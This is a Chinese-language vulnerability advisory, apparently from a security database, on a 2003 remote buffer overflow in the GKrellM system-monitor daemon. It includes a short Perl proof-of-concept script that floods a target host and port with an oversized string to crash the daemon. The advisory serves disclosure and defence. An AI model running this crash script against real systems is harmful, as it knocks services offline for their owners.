Gkrellmd远程缓冲区溢出漏洞
发布日期:2003-06-24
更新日期:2003-07-01
受影响系统:GKrellM GKrellM 2.1.13
描述:
BUGTRAQ ID:
8022
Gkrellm是一款GTK系统监视工具,最新版本以守护进程方式运行。
Gkrellm在对网络数据进行检查时缺少充分缓冲区边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以Gkrellm进程权限在系统上执行任意指令。
当攻击者连接Gkrellm,并发送数据,Gkrellm会使用缓冲区存储此数据,但是没有检查数据是否大于最大缓冲区大小(128字节),攻击者发送超多的数据可使守护程序崩溃。精心构建提交数据可能以Gkrellm进程权限在系统上执行任意指令。
<*来源:dodo (
dodo@fuckmicrosoft.com)
链接:
http://packetstormsecurity.nl/0306-exploits/gkrellmd
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
dodo (
dodo@fuckmicrosoft.com)提供了如下测试方法:
#!/usr/bin/perl -s
use IO::Socket;
#
# proof of concept code
# tested: grkellmd 2.1.10
#
if(!$ARGV[0] || !$ARGV[1])
{ print "usage: ./gkrellmcrash.pl <host> <port>\n"; exit(-1); }
$host = $ARGV[0];
$port = $ARGV[1];
$exploitstring = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
."AAAAAAAAAAAAAAAAAAAAA";
$socket = new IO::Socket::INET
(
Proto => "tcp",
PeerAddr => $host,
PeerPort => $port,
);
die "unable to connect to $host:$port ($!)\n" unless $socket;
print $socket "gkrellm 2.1.10\n"; #tell the daemon wich client we have
sleep(1);
print $socket $exploitstring;
close($socket);
建议:
厂商补丁:
GKrellM
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://web.wt.net/~billw/gkrellm/gkrellm.html浏览次数:2634
严重程度:0(网友投票)